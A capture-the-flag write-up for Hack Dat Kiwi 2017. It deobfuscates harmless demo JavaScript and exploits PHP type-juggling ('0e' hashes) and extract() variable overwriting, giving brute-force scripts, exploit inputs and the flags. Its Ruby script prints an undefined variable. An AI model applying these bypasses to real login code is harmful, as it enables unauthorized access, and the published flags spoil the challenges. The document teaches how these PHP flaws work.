Hack Dat Kiwi 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : Hack Dat Kiwi 2017
  • Website : hack.dat.kiwi
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

100 - Eluware 1 - Forensics#

There's a nasty malware infecting our visitors. We were unable to find out where it's coming from and what it's doing. Do us a solid and find that out!

Note: You will see a red square saying 'Pwned' when the malware runs.

Launch Firefox debugger (CTRL + SHIFt + S), wait some time, and soon an additionnal script called www.malware.com/md5.js appears where there is a flag() function returning rqtWBTPbJ8cXgYSX.

50 - MD5 Games 1 - Web#

10 years has passed since MD5 was broken, yet it is still frequently used in web applications, particularly PHP powered applications (maybe because there's a function after it?). Break it again to prove the point!

Here is the source code of the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (isset($_GET['src']))
highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "Wonderbubulous! Flag is ".require __DIR__."/flag.php";
else
echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}


?>
<p>Find a string that has a MD5 digest equal to itself!</p>
<form>
<label>Answer: </label>
<input type='text' name='md5' />
<input type='submit' />
</form>

<a href='?src'>Source Code</a>

Usually when talking about type juggling in php with md5 we have something more like if (0==md5($input)) or if ('0e123456789012345678912345678901'==md5($input)) so it's easy. But here we have if ($input==md5($input)).

So we can't use easy input or md5 magic hash.

We are talking about type juggling between two strings so we need that the text (input) and its md5 hash match /^0e[0-9]+$/ to fool php.

Note : see PHP Magic Tricks: Type Juggling.

So I write a ruby script to find one:

1
2
3
4
5
6
7
8
9
10
11
require 'digest'

suffix = 0

loop do
suffix += 1
hash = Digest::MD5.hexdigest '0e' + suffix.to_s
break if /0e[0-9]{30}/.match?(hash)
end
puts "md5(#{text}) == #{hash}"
# output: md5(0e215962017) == 0e291242476940776845150308577824

So requesting http://fe3d57.2017.hack.dat.kiwi/web/md5games1/?md5=0e215962017 tell us Wonderbubulous! Flag is zr8cvFTfhd3vcxzH.

150 - Eluware 2 - Forensics#

Apparently that malware you just found was a first in a wave of new malwares. They have struck again, this time on our partner service.

This malware is a little tricky and does not trigger all the time. We guess that it only runs on certain conditions. Find it for us please!

Note: You will see a red square saying 'Pwned' when the malware runs.

We reloaded the page until the malware appears to be loaded.

When the red square saying Pwned appears we know the javascript code will be in the Firefox debugger (CTRL + SHIFt + S).

The content of forensics/eluware2/www.youtube.com/?random=9.551122063861918 seems packed / obfuscated.

1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('d 0=3.1.2.c(\'0\');0.e=\'f:h;b:i;9:6;5:7;8:a;g-4:w;4:j;s-r:t;u-v:q;\';0.p="l!";k=\'m\';3.1.2.n.o(0);',33,33,'div|parent|document|window|color|top|fixed|150px|left|position|250px|height|createElement|var|style|width|background|200px|100px|white|flag|Pwned|random=6.66 willtell|body|appendChild|textContent|40px|index|z|9999|font|size|red'.split('|'),0,{}))

After beautification we get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
eval(function(str, radix, data, cache, f, opt_attributes) {
/**
* @param {(number|string)} arg1
* @return {?}
*/
f = function(arg1) {
return arg1.toString(36);
};
if (!"".replace(/^/, String)) {
for (;data--;) {
/** @type {string} */
opt_attributes[data.toString(radix)] = cache[data] || data.toString(radix);
}
/** @type {Array} */
cache = [function(timeoutKey) {
return opt_attributes[timeoutKey];
}];
/**
* @return {?}
*/
f = function() {
return "\\w+";
};
/** @type {number} */
data = 1;
}
for (;data--;) {
if (cache[data]) {
/** @type {string} */
str = str.replace(new RegExp("\\b" + f(data) + "\\b", "g"), cache[data]);
}
}
return str;
}(
"d 0=3.1.2.c('0');0.e='f:h;b:i;9:6;5:7;8:a;g-4:w;4:j;s-r:t;u-v:q;';0.p=\"l!\";k='m';3.1.2.n.o(0);",
33,
33, "div|parent|document|window|color|top|fixed|150px|left|position|250px|height|createElement|var|style|width|background|200px|100px|white|flag|Pwned|random=6.66 willtell|body|appendChild|textContent|40px|index|z|9999|font|size|red".split("|"),
0,
{}
) // end main function
); // end eval

Instead of taking a long time to unpack this piece of code. We will try to evaluate the part giving the flag.

For that I used a Firefox addon called javascript-deobfuscator in order to execute/compile/evaluate the obfuscated code on the fly.

So now our Firefox Web Developer console has one more tab: Deobfuscator.

In the Console tab we can now paste the malware code to make it executed whenever we want and then the red square saying Pwned appears.

So just after we forced the malware to be executed we can go back into the Deobfuscator tab to see running scripts.

The 2nd line of each evaluated script show its source. We can see several script with debugger eval code:1 indicating that this is the script we just evaluated.

The first pane on the left showing debugger eval code:1 is the code we pasted, the 2nd pane is just the content of the main function, the 3rd if the content of the second f = function, the 4th is the div that show the red square and contains this:

1
2
3
4
5
var div = window.parent.document.createElement('div');
div.style = 'width:200px;height:100px;position:fixed;top:150px;left:250px;background-color:red;color:white;z-index:9999;font-size:40px;';
div.textContent = "Pwned!";
flag = 'random=6.66 willtell';
window.parent.document.body.appendChild(div);

So the first part of the flag is random=6.66 willtell (that give us 30/150 points).

The first time we saw the malware appear is was forensics/eluware2/www.youtube.com/?random=9.551122063861918 and know the partial flag tell use random=6.66.

Searching for random in the debugger show there is a local script rpc-shindig_random.js overridding the google API one with the same name.

So I tried to see the difference between the two scripts. There was a lot of them (93 lines, once code was unminified) but there was one variable existing on the local script that didn't exist on the true google api: "lexps": [81, 97, 99, 122, 123, 30, 79, 127].

On the main page we can see something looking like the malware but this isn't the same code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script name="www-roboto">
if (document.fonts && document.fonts.load) {
document.fonts.load("400 10pt Roboto", "E");

function g_() {
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1=5.2()*6;4(1>9){7 0=3.c(\'0\');0.8=\'?2=\'+1;3.b.a(0)}', 13, 13, 'iframe|t|random|document|if|Math|10|var|src||appendChild|body|createElement'.split('|'), 0, {}));
};
document.fonts.load("500 10pt Roboto", "E");
}
</script>

Let's evaluated that piece of code and observe it in the Deobfuscator tab.

Now we can see why the malware is not triggered everytime:

1
2
3
4
5
6
t = Math.random() * 10;
if (t > 9) {
var iframe = document.createElement('iframe');
iframe.src = '?random=' + t;
document.body.appendChild(iframe);
}

So the malware will be loaded 1 time over 10.

But we can't use directly

1
2
3
4
var t = 6.66;
var iframe = document.createElement('iframe');
iframe.src = '?random=' + t;
document.body.appendChild(iframe);

because the malware know we launched it manually.

I didn't manage to request ?random=6.66 successfully, I always got 33.3.

100 - Hasher - Web#

There's this system that has a hardcoded admin user/password, in a way that can not be brute forced or cracked. We desperately need to acquire access to this system, can you help us?

Note: Source code inside challenge

So the source of the challenge is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
if (!shell_exec("which openssl"))
die("Challenge Error: need openssl installed\n");
if (isset($_GET['code']))
die(highlight_file(__FILE__));
function str_xor($str,$max_depth=0,$depth=0)
{
$mid=strlen($str)/2;
$left=substr($str,0,$mid);
$right=substr($str,$mid);
if ($depth<$max_depth)
{
$left=str_xor($left,$max_depth,$depth+1);
$right=str_xor($right,$max_depth,$depth+1);
}
$out="";
for ($i=0;$i<strlen($left);++$i)
$out.=$left[$i]^$right[$i];
return $out;
}


function hasher($string)
{
if (!ctype_alnum($string))
return null;
$t=trim(shell_exec("echo -n '{$string}' | openssl dgst -whirlpool | openssl dgst -rmd160"));
$t=str_replace("(stdin)= ","",$t); //some linux adds this
if (!$t)
return null;
return bin2hex(str_xor(hex2bin($t),1));
}

$user='admin';
extract($_POST);
if (isset($password))
{
if (hasher($user)==hasher($password) and $user!=$password)
echo "Welcome! Flag is: ".include("flag.php");
else
echo "Invalid password.<br/>";
}
?>

<form method='post'>
<label>Password:</label>
<input type='password' name='password' />
<input type='submit' />
</form>

<a href='./?code'>Source Code</a> 1

What do we want? if (hasher($user)==hasher($password) and $user!=$password). So we need different $user and $password but an equal hasher() return. In fact we don't need hasher() to return the same result thanks to == that will allow us to do some PHP Magic Tricks: Type Juggling as we already saw in challenge MD5 Games 1.

In fact we want hasher($user) and hasher($password) to match /^0e[0-9]{8}$/.

The next thing to see is extract($_POST);. That will allow us to override $admin as I explained in my post about c99.php web shell.

If this still seems ununderstandable to you read my MD5 Games 1 write-up above.

This time I didn't write a ruby script but re-used the php source code to write a php script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
function str_xor($str,$max_depth=0,$depth=0)
{
$mid=strlen($str)/2;
$left=substr($str,0,$mid);
$right=substr($str,$mid);
if ($depth<$max_depth)
{
$left=str_xor($left,$max_depth,$depth+1);
$right=str_xor($right,$max_depth,$depth+1);
}
$out="";
for ($i=0;$i<strlen($left);++$i)
$out.=$left[$i]^$right[$i];
return $out;
}

function hasher($string)
{
if (!ctype_alnum($string))
return null;
$t=trim(shell_exec("echo -n '{$string}' | openssl dgst -whirlpool | openssl dgst -rmd160"));
$t=str_replace("(stdin)= ","",$t); //some linux adds this
if (!$t)
return null;
return bin2hex(str_xor(hex2bin($t),1));
}

$found = 0;
$user = "";
$password = "";
for ($i=0; ; ++$i) {
if ( hasher("$i") == "0e$i") {
echo "i: $i // hasher(i): " . hasher("$i") . "\n";
$found += 1;
if ($found == 1) $user=$i;
elseif ($found == 2) $password=$i;
} elseif ($found == 2) {
break;
}
}

if (hasher($user)==hasher($password) and $user!=$password)
echo "user: $user / password: $password \n";

I executed my script and it resulted as the following:

1
2
3
i: 29588 // hasher(i): 0e34131778
i: 56392 // hasher(i): 0e64927533
user: 29588 / password: 56392

So I just needed to send this POST request with HackBar (you can do it with whatever proxy you like, ex: BurpSuite).

POST data: password=56392&user=29588. Here is the result: Welcome! Flag is: g1diXbB2kfaGjS0V.

Share